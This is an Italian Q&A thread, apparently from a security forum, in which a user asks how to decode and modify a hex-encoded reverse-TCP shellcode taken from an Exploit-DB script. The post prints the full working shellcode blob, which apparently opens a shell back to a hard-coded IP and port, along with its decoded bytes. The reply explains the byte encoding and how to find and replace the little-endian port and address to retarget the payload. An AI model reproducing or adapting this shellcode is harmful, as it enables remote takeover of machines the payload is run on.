Come decodificare il codice esadecimale e modificarlo? Binascii.unhexlify [closed]

0

Sto rivedendo il codice ospitato in edb e la parte che sto cercando di dare un senso e modificare è alla riga 78

reversetcp_shellcode = binascii.unhexlify(b'fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc02000539c0a87d8541544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd550504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd54881c44002000049b8636d640000000000415041504889e25757574d31c06a0d594150e2fc66c74424540101488d442418c600684889e6565041504150415049ffc0415049ffc84d89c14c89c141ba79cc3f86ffd54831d248ffca8b0e41ba08871d60ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5')

Ho importato binascii in python e ho provato a decodificare il codice e il risultato era:

'\xfcH\x83\xe4\xf0\xe8\xc0\x00\x00\x00AQAPRQVH1\xd2eH\x8bR'H\x8bR\x18H\x8bR H\x8brPH\x0f\xb7JJM1\xc9H1\xc0\xac<a|\x02, A\xc1\xc9\rA\x01\xc1\xe2\xedRAQH\x8bR \x8bB<H\x01\xd0\x8b\x80\x88\x00\x00\x00H\x85\xc0tgH\x01\xd0P\x8bH\x18D\x8b@ I\x01\xd0\xe3VH\xff\xc9A\x8b4\x88H\x01\xd6M1\xc9H1\xc0\xacA\xc1\xc9\rA\x01\xc18\xe0u\xf1L\x03L$\x08E9\xd1u\xd8XD\x8b@$I\x01\xd0fA\x8b\x0cHD\x8b@\x1cI\x01\xd0A\x8b\x04\x88H\x01\xd0AXAX^YZAXAYAZH\x83\xec AR\xff\xe0XAYZH\x8b\x12\xe9W\xff\xff\xff]I\xbews2_32\x00\x00AVI\x89\xe6H\x81\xec\xa0\x01\x00\x00I\x89\xe5I\xbc\x02\x00\x059\xc0\xa8}\x85ATI\x89\xe4L\x89\xf1A\xbaLw&\x07\xff\xd5L\x89\xeah\x01\x01\x00\x00YA\xba)\x80k\x00\xff\xd5PPM1\xc9M1\xc0H\xff\xc0H\x89\xc2H\xff\xc0H\x89\xc1A\xba\xea\x0f\xdf\xe0\xff\xd5H\x89\xc7j\x10AXL\x89\xe2H\x89\xf9A\xba\x99\xa5ta\xff\xd5H\x81\xc4@\x02\x00\x00I\xb8cmd\x00\x00\x00\x00\x00APAPH\x89\xe2WWWM1\xc0j\rYAP\xe2\xfcf\xc7D$T\x01\x01H\x8dD$\x18\xc6\x00hH\x89\xe6VPAPAPAPI\xff\xc0API\xff\xc8M\x89\xc1L\x89\xc1A\xbay\xcc?\x86\xff\xd5H1\xd2H\xff\xca\x8b\x0eA\xba\x08\x87\x1d'\xff\xd5\xbb\xf0\xb5\xa2VA\xba\xa6\x95\xbd\x9d\xff\xd5H\x83\xc4(<\x06|\n\x80\xfb\xe0u\x05\xbbG\x13roj\x00YA\x89\xda\xff\xd5'

Ci sono personaggi alieni sopra. È ancora considerato esadecimale? E, se volessi utilizzare un indirizzo IP e un indirizzo PORT diversi, come farei la conversione necessaria?

    
posta K4rt 17.05.2017 - 20:35
fonte

1 risposta

1

Il motivo per cui vedi personaggi alieni è che sta visualizzando caratteri esadecimali quando deve ('\ xfc', per esempio), e ASCII quando è mappabile (quindi la 'H' che segue immediatamente è lì invece di \ x48' ). Quindi non è puro esadecimale: è una stringa ASCII con i caratteri non ASCII con codifica esadecimale.

L'indirizzo IP e la porta sono codificati lì? Probabilmente puoi trovarli nella stringa esadecimale originale, prima di tentare di decodificarli e modificarli.

Ricorda che probabilmente sono codificati come little endian. Normalmente quando scrivo shellcode, utilizzo una porta in cui endianness non ha importanza, come 0x1313 o 0x6666. Ma è solo pigrizia! Se vuoi trovare e sostituire il loro numero di porta, se è per esempio 4444 (0x115c), probabilmente vorrai cercare '5c11' (little endian) e sostituirlo con la porta che vuoi (come 0x6666 o qualsiasi altra cosa).

    
risposta data 17.05.2017 - 23:44
fonte

Leggi altre domande sui tag